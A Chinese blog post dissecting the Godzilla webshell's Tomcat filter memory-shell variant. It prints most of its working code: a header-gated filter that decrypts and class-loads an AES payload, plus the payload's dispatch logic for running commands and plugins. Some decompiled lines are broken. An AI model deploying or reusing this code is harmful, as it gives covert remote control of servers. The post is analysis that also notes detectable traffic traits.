GodZilla功能分析及学习
2024-11-17 22:44:23

回看JMG的时候稍微抽出来专门研究一下,也有想法做一个自己的shellmanager(总得开始吧),看的是filter内存马形式的godzilla,原始Godzilla中和jsp的形式是差不多的。没有把所有源码分析一遍,只是带着tomcat的filter内存马形式去分析godzilla的功能实现。具体的代码分析也卸载了具体的代码块中,希望能够帮助到师傅们。

基础分析

先看整体结构

image

看属性值。 key pass不用说了,godzilla中的密钥和密码。headerName和headerValue就是gozilla中的请求头检测的变量,主要是通过request.getHeader获取,作用就是一个if判断的事情。

然后是几个关键方法的解析,最重要的就是dofilter里面的逻辑,但是前面几个方法Q(),x()还是得分析一下,不然dofilter会看不懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//通过defineClass进行一个类加载,其实是用来加载恶意Class中的静态代码块的,但是godzilla中并没有选择直接Runtime执行,也是为了隐蔽
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}

//然后是AES加解密方法,传参过来的布尔值 m就是加解密选择器,为false的时候是解密,true反之
public byte[] x(byte[] s, boolean m) {
try {

Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}

还有一个MD5方法,本质上还是在进行一个MD5加密的形式,最终作用是为了传递密钥和密码,但肯定不能明着传,所以要依靠一些加密功能

1
2
3
4
5
6
7
8
9
10
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}

最后看dofilter的处理逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}

} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}

}

获取Req和Rep之后,开始检测第一关,就是HeaderName和value,这个没什么好说的。而且本身这两个属性值就是没有经过加密的,导致问题的就是如果有人能够dump出这段filter的内存和字节码,将其反编译的话,是能够检索到相关的header(可能也没什么用,但是至少有一定风险)。

然后获取请求包的session,以及请求的参数pass,这里其实是一个特征,如果请求中有一个参数的值为base64的话,其实这个参数就是密码,并且pass中的内容就是恶意字节码的AES加密形式+外面套一层经典的base64

1
2
3
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false); //调用解密方法

命令执行回显

之后这一段就涉及哥斯拉命令执行回显的内容了,可以单独作为一个内容来看。虽然我们上面已经分析出来了哥斯拉的命令执行是通过实例化恶意类来实现恶意代码执行的,但是这里的equals方法和toString的调用第一次看确实有点懵懵的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 if (session.getAttribute("payload") == null) {
//godzilla开始初步建立连接的时候就是传输一大段字节码内容
//初步godzilla进行恶意类的加载,一般的godzilla都是第一次测试连接的时候就直接将一个全部功能加载好的恶意类字节码全部加载进去
//阅读godzilla的源码发现其实相关功能恶意类的类名也叫做payload
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
//如果当前httpsession带了payload,说明我们已经将恶意类加载进去,现在就是开始调用恶意类中的相关功能
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
// f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();

equals

equals的方法就是调用一段handle方法,然后里面还会调用一段supportClass方法以及其他的关键方法,这里我们分区域来看。(这里我用的是最原始的godzilla的处理逻辑,有些二开的godz是会不太一样的,这里我们后面会提到)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
public boolean equals(Object obj) {
//这里最关键的就是handle方法,后续要用到的代码我全部贴出了
//先跟进handle方法
if (obj != null && handle(obj)) {
noLog(this.servletContext);
return true;
}
return false;
}

//记住JMG中关于equals的调用总计两次f.equals(arrOut); f.equals(request);
//所以之后的分析会同时讲到arrOut request
public boolean handle(Object obj) {
if (obj == null) {
return false;
}
//class$1变量在当前恶意类模板中有很多个,至少在当前handle方法下还是起到一个暂存变量的作用
Class<?> cls = class$1;
if (cls == null) {
try {
//class$1暂存由forName全类名加载出来的ByteArrayOutputStream
cls = Class.forName("java.io.ByteArrayOutputStream");
class$1 = cls;
} catch (ClassNotFoundException unused) {
throw new NoClassDefFoundError(cls.getMessage());
}
}
//这里判断我们传入的obj是否为ByteArrayOutputStream类型
//第一次传入的是arrout变量,所以这里肯定能满足判断,并且执行this.outputStream的赋值操作
//第二次传入Request对象,不满足类型判断,所以不进入
if (cls.isAssignableFrom(obj.getClass())) {
this.outputStream = (ByteArrayOutputStream) obj;
return false;
}
//这里由supportClass来判断当前obj是否为Reqeust,至于为什么要单独用一个方法来判断,具体跟进
//同样判断确实是属于request对象之后也要进行属性值赋值操作
if (supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
this.servletRequest = obj;
} else if (supportClass(obj, "%s.servlet.ServletRequest")) {
this.servletRequest = obj;
} else {

//用来判断是否为字节数组类型,我们分析的godzilla在处理逻辑中并没有对于字节数组变量的equals方法调用
//但其实我们可以从JMG的历史版本更新中看到了本来是没有equals(request)的调用的,一直都是equals(data)
//实际上改动影响不会影响本身正常的使用,所有的equals操作都是为了将对应的值赋进去。对字节数组的检测,只是为了将request里面的parameters参数赋值进变量this.requestData
//在服务端的处理逻辑中会有一段request.setAttribute("parameters", data) 然后又改成了equals(request),最终还是会取出parameters,这个伏笔会在后续代码中出现
Class<?> cls2 = class$0;
if (cls2 == null) {
try {
cls2 = Class.forName("[B");
class$0 = cls2;
} catch (ClassNotFoundException unused2) {
throw new NoClassDefFoundError(cls2.getMessage());
}
}
if (cls2.isAssignableFrom(obj.getClass())) {
//然后依然要进行属性值赋值
this.requestData = (byte[]) obj;
} else if (supportClass(obj, "%s.servlet.http.HttpSession")) {
this.httpSession = obj;
}
}


//具体跟进handlePayloadContext方法,作用解析也写在那了
handlePayloadContext(obj);

//伏笔回收处,也就是为什么JMG中为什么会将f.equals(data);改成f.equals(request);因为godzilla传来的恶意字节码中有一段专门取出参数的逻辑
//如果我们只调用equals(data),那么在handlePayloadContext中就取不出this.servletRequest,也取不出参数了
if (this.servletRequest != null && this.requestData == null) {
Object obj2 = this.servletRequest;
Class[] clsArr = new Class[1];
Class<?> cls3 = class$2;
if (cls3 == null) {
try {
cls3 = Class.forName("java.lang.String");
class$2 = cls3;
} catch (ClassNotFoundException unused3) {
throw new NoClassDefFoundError(getMessage());
}
}
clsArr[0] = cls3;
Object retVObject = getMethodAndInvoke(obj2, "getAttribute", clsArr, new Object[]{"parameters"});
if (retVObject != null) {
Class<?> cls4 = class$0;
if (cls4 == null) {
try {
cls4 = Class.forName("[B");
class$0 = cls4;
} catch (ClassNotFoundException unused4) {
throw new NoClassDefFoundError(cls4.getMessage());
}
}
if (cls4.isAssignableFrom(retVObject.getClass())) {
this.requestData = (byte[]) retVObject;
return true;
}
return true;
}
return true;
}
return true;
}

private void handlePayloadContext(Object obj) {
//所以具体的内容还是赋值this.servletRequest、this.httpSession、this.servletContext
//具体三者的作用分别是最终存储执行命令的参数,以及网络通信中的执行命令参数的载体,Context的内容有很多,这里不一一列举
//整体看下来,handlePayloadContext只在equals方法中被调用了,并且三个方法同时存在的类(包括父子类以及实现类)只有ServletRequest
//所以本质上这个方法是从request类中取出这三样属性值
try {
Method getRequestMethod = getMethodByClass(obj.getClass(), "getRequest", null);
//在httpsession中有这个方法
Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null);
//在request中有这个方法
Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null);
if (getRequestMethod != null && this.servletRequest == null) {
this.servletRequest = getRequestMethod.invoke(obj, null);
}
if (getServletContextMethod != null && this.servletContext == null) {
this.servletContext = getServletContextMethod.invoke(obj, null);
}
if (getSessionMethod != null && this.httpSession == null) {
this.httpSession = getSessionMethod.invoke(obj, null);
}
} catch (Exception e) {
}
}

private boolean supportClass(Object obj, String classNameString) {
//用于判断是否为httpRequest对象,tomcat10之后的很多tomcat组件的包名都经过了修改
//主要是javax->jakarta的变化
Class c;
if (obj == null) {
return false;
}
boolean ret = false;
try {
Class c2 = getClass(String.format(classNameString, "javax"));
if (c2 != null) {
ret = c2.isAssignableFrom(obj.getClass());
}
if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {
ret = c.isAssignableFrom(obj.getClass());
}
} catch (Exception e) {
}
//返回判断结果 true of false
return ret;
}

整体的equals方法解析完毕了

这里再回顾一下JMG中的godzilla是怎么写服务端的,首先是把ByteArrayOutputStream调用进euals,然后再调用request进equals,所以整体实现了当前恶意类中outputStream​以及requestData​的赋值

image

但某些版本的godzilla调用equals方法就不太一样,所以这里也是很多二开godzilla喜欢改的地方,但是本质还是通过equals传递具体参数和toString最终命令执行

image

最后总结一下equals方法的作用:对于传入的参数进行一个可能用到的类型比对,如果传入的参数是ByteArrayOutputStream​,ServletRequest​,HttpSession​的类型,就给对应的内存变量进行赋值。并且如果你是requst类型,还会对其进行参数提取,写入变量parameters

toString

依然还是原版的godzilla中的toString方法,如果说你的godzilla是有二开过的,那应该这里的代码会有所不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public String toString() {
String returnString = null;
//由于前面equals的操作,this.outputStream绝对是有值的,所以跟进if
if (this.outputStream != null) {
try {
//初始化SessionMap
initSessionMap();
//godzilla中用于数据传输的加密方式都是采用gzip的形式
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);
//格式化参数,主要作用对象为this.parameterMap,详情见下方对应方法解析
//实际上简略一点说就是将requestData字节流正式转化为this.parameterMap,用以后续调用
formatParameter();
//这里有一段特殊的处理evalNextData标识符,如果遇到了说明当前的字节流并不是功能调用字节流,数以还需要读取和格式化处理一边requestdata
if (this.parameterMap.get("evalNextData") != null) {
run();
this.requestData = (byte[]) this.parameterMap.get("evalNextData");
formatParameter();
}
//如果没有的话,说明已经处理完了功能调用字节流,将其转化为了对应方法和参数,可以开始调用run方法开始执行功能了
gzipOutputStream.write(run());
gzipOutputStream.close();
this.outputStream.close();
} catch (Throwable e) {
returnString = e.getMessage();
}
} else {
returnString = "outputStream is null";
}
功能执行完毕之后所有用到的变量都要制空。
this.httpSession = null;
this.outputStream = null;
this.parameterMap = null;
this.requestData = null;
this.servletContext = null;
this.servletRequest = null;
this.sessionMap = null;
return returnString;
}

上面toString的解析涉及到几个方法的具体内容:

initSessionMap方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

private void initSessionMap() {
//sessionmap本质上是一段hashmap,在整个恶意类的代码中对于sessionmap进行了push操作的只有include方法中进行了
//但是我们不论是初始化或者是实例化类,还是前面equals的方法中都没有对sessionmap进行的put操作的逻辑,所以这里默认第一次进入改方法,sessionmap都是为null的
if (this.sessionMap == null) {
//这里的getSessionAttribute的是判断当前this.httpsession是否为空,如果不为空就往它里面取sessionMap的值
//按照恶意filter里面的逻辑,此时肯定是有httpsession的值的,但是并没有sessionmap的属性值
if (getSessionAttribute("sessionMap") != null) {
try {
this.sessionMap = (HashMap) getSessionAttribute("sessionMap");
} catch (Exception e) {
}
} else {
this.sessionMap = new HashMap();
try {
setSessionAttribute("sessionMap", this.sessionMap);
} catch (Exception e2) {
}
}
//httpsession中暂时还是没有sessionmap的写入,所以此时的sessionmap依然是一段空的hashmap
if (this.sessionMap == null) {
this.sessionMap = new HashMap();
}
}
}

formatParameter方法:

为什么要对this.parameterMap进行一个格式化呢?因为后续的模块调用和方法执行都是从this.parameterMap中取出对应数据然后去找对应的功能进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public void formatParameter() {
int read;
this.parameterMap.clear();
this.parameterMap.put("sessionMap", this.sessionMap);
this.parameterMap.put("servletRequest", this.servletRequest);
this.parameterMap.put("servletContext", this.servletContext);
this.parameterMap.put("httpSession", this.httpSession);
byte[] parameterByte = this.requestData;

//parameterdata是通过request中的parameters参数取出的,byte类型
ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
byte[] lenB = new byte[4];
try {
////通信过程中的关键数据都是通过GZIP格式处理过的,所以这里要按照GZIP数据流来处理
GZIPInputStream inputStream = new GZIPInputStream(tStream);
//按照GZIP的模式循环读取字节流,并且读到特定格式的数据之后(请求调用的功能点以及参数),将对应的键值写入parameterMap
while (true) {
byte t = (byte) inputStream.read();
if (t != -1) {
if (t == 2) {
String key = new String(tp.toByteArray());
inputStream.read(lenB);
int len = bytesToInt(lenB);
byte[] data = new byte[len];
int readOneLen = 0;
do {
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
readOneLen = read;
} while (read < data.length);
this.parameterMap.put(key, data);
tp.reset();
} else {
tp.write(t);
}
} else {
tp.close();
tStream.close();
inputStream.close();
return;
}
}
} catch (Exception e) {
}
}

run

最终功能执行的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public byte[] run() {
//className用来指定加载扩展类,也就是加载扩展功能
String className;
String methodName;
try {
//get方法就是从parameterMap变量中进行获取
className = get("evalClassName");
methodName = get("methodName");
} catch (Throwable e) {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(stream);
e.printStackTrace(printStream);
printStream.flush();
printStream.close();
return stream.toByteArray();
}
//如果我们没有指定扩展类,而是只有methodname的话,说明就是当前恶意类中的payload的恶意方法以及对应功能
if (methodName != null) {
if (className == null) {
//这里是在检测返回值的类型,payload恶意类中的所有功能方法都是byte[]类型的返回值
Method method = getClass().getMethod(methodName, null);
?? returnType = method.getReturnType();
Class<?> cls = class$0;
if (cls == null) {
try {
cls = Class.forName("[B");
class$0 = cls;
} catch (ClassNotFoundException unused) {
throw new NoClassDefFoundError(returnType.getMessage());
}
}
//如果返回值是byte[]类型,就开始执行这段功能,反射调用功能类实现
if (returnType.isAssignableFrom(cls)) {
return (byte[]) method.invoke(this, null);
}
return "this method returnType not is byte[]".getBytes();
}
//这里就是在加载扩展类的功能了,具体的存储位置是在this.sessionMap中
//而能够往this.sessionMap中存数据的,只有当前恶意类的include方法,也就是说我们只有调用了include方法,才能够执行扩展类的功能
Class evalClass = (Class) this.sessionMap.get(className);
//加载完扩展类后就开始正常的功能执行
if (evalClass != null) {
Object object = evalClass.newInstance();
object.equals(this.parameterMap);
object.toString();
Object resultObject = this.parameterMap.get("result");
if (resultObject != null) {
Class<?> cls2 = class$0;
if (cls2 == null) {
try {
cls2 = Class.forName("[B");
class$0 = cls2;
} catch (ClassNotFoundException unused2) {
throw new NoClassDefFoundError(cls2.getMessage());
}
}
if (cls2.isAssignableFrom(resultObject.getClass())) {
return (byte[]) resultObject;
}
return "return typeErr".getBytes();
}
return new byte[0];
}
//这里也是JMG在它的godzilla模板中提到的bug,报错evalClass is null
//它的处理方法是f.equals(data); -> f.equals(request); 详细原因看下方分析
return "evalClass is null".getBytes();
ByteArrayOutputStream stream2 = new ByteArrayOutputStream();
PrintStream printStream2 = new PrintStream(stream2);
e.printStackTrace(printStream2);
printStream2.flush();
printStream2.close();
return stream2.toByteArray();
}
return "method is null".getBytes();
}


思路总结

只是分析了godzilla很小的一部分,是我认为会影响到我使用的一些点。并且只包括tomcat的filter中间件这一个部分。但是针对于所有的java项目,都是能够动态类加载的,所以恶意功能的使用是不会变的。总的都是payload这一个部分。

且整体的思路也是相通的:

  • 通过某种手段(直接JSP或者反序列化或者其他能够java代码执行的方式)进行恶意组件的注入(filter,listener等)
  • 通过与恶意中间件通信,将恶意功能类–payload加载进去,此时服务端已经注入了我们的恶意功能类
  • 再通过与恶意中间件通信,传入功能参数。这里的功能实现,比如命令执行,文件列举等等都是payload恶意类中的具体方法。所以我们的流量中传入的具体数据就是要调用的具体方法名,具体的参数

所以按照如上思路,godzilla的流量特征其实也很明确:恶意中间件注入之后,会有一大段的参数数据传过来,这个就是恶意类payload,之后的通信,除了加载插件扩展类有的时候需要一次性传入大量的字节码内容,其余执行功能的流量都是很小的。

留下的问题

// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);​ 这是JMG中godzilla模块filter模板中的一段注释,正文讲到的时候我说会留下这个伏笔后面讲,但是直到最后我两种情况(去掉注释,按照原来的传入data参数进行扩展类的加载;不去掉注释,传入request进行扩展类加载)都分析过一遍之后,我觉得两者没有区别。可能相关的不同点中,我选定了httpsession,但它的有无 不影响具体扩展类的加载,他所提出的这段报错也是run()方法中关于Class evalClass = (Class) this.sessionMap.get(className);​没有获取到恶意扩展类名,最后return "evalClass is null".getBytes();​的结果。

我所认为的扩展类加载是判定出evalNextData​,先调用正常功能方法–include,将恶意字节码加载进this.sessionMap​中,然后再formatParameter();​一次,将evilClassName解析出来,开始再调用一遍run方法,Class evalClass = (Class) this.sessionMap.get(className);​加载到扩展恶意类,然后开始进行方法调用

finally,我觉得这不是问题,只是我没有用godilla自己去试一遍,然后抓一遍流量。

上一页
2024-11-17 22:44:23